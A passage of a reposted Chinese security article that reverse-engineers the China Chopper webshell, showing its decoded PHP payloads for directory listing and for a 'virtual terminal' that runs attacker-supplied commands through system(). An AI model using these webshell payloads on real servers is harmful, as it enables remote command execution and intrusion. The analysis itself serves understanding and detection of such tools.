欢迎来到 黑吧安全网 聚焦网络安全前沿资讯,精华内容,交流技术心得!

技术剖析中国菜刀原理

来源:本站转载 作者:Little Hann 时间:2013-08-29 TAG: 我要投稿

 

还记得之前说的文件上传客户端和服务器进行了两次交互,然后再看第二个数据包的内容。解码之:

@ini_set("display_errors","0");@set_time_limit(0);@set_magic_quotes_runtime(0);echo("->|");;$D=base64_decode($_POST["z1"]);$F=@opendir($D);if($F==NULL){echo("ERROR:// Path Not Found Or No Permission!");}else{$M=NULL;$L=NULL;while($N=@readdir($F)){$P=$D."/".$N;$T=@date("Y-m-d H:i:s",@filemtime($P));@$E=substr(base_convert(@fileperms($P),10,8),-4);$R="\t".$T."\t".@filesize($P)."\t".$E."
";if(@is_dir($P))$M.=$N."/".$R;else $L.=$N.$R;}echo $M.$L;@closedir($F);};echo("|<-");die();

不用再整理了,就是和之前的列目录是一样的,代码重用了一下,本质上就是刷新一下。这样就能立刻更新本地缓存,显示出刚才上传的文件。

 

 

3. 虚拟终端

这个功能也是菜刀很逆天的一个功能,效果和我们进行溢出攻击后获得的cmd shell一样,感觉很神奇,接下来探究一下它实现的原理。

 

还是老方法,先运行一个dir命令,然后抓包分析之。

解码之:

@ini_set("display_errors","0");@set_time_limit(0);@set_magic_quotes_runtime(0);echo("->|");;$p=base64_decode($_POST["z1"]);$s=base64_decode($_POST["z2"]);$d=dirname($_SERVER["SCRIPT_FILENAME"]);$c=substr($d,0,1)=="/"?"-c '{$s}'":"/c {$s}";$r="{$p} {$c}";@system($r." 2>&1");;echo("|<-");die();
&z1=cmd
&z2=cd /d "C:\wamp\www\"&dir&echo [S]&cd&echo [E]

整理一下代码:

@ini_set("display_errors","0");@set_time_limit(0);@set_magic_quotes_runtime(0);echo("->|");;
$p=base64_decode($_POST["z1"]);
$s=base64_decode($_POST["z2"]);
$d=dirname($_SERVER["SCRIPT_FILENAME"]);
$c=substr($d,0,1)=="/"?"-c '{$s}'":"/c {$s}";
$r="{$p} {$c}";
@system($r." 2>&1");;
echo("|<-");
die();
&z1=cmd
&z2=cd /d "C:\wamp\www\"&dir&echo [S]&cd&echo [E]

继续从W3C上抄函数声明:

上一页  [1] [2] [3] [4] [5] [6] [7]  下一页

【声明】:黑吧安全网(http://www.myhack58.com)登载此文出于传递更多信息之目的,并不代表本站赞同其观点和对其真实性负责,仅适于网络安全技术爱好者学习研究使用,学习中请遵循国家相关法律法规。如有问题请联系我们,联系邮箱admin@myhack58.com,我们会在最短的时间内进行处理。
  • 最新更新
    • 相关阅读
      • 本类热门
        • 最近下载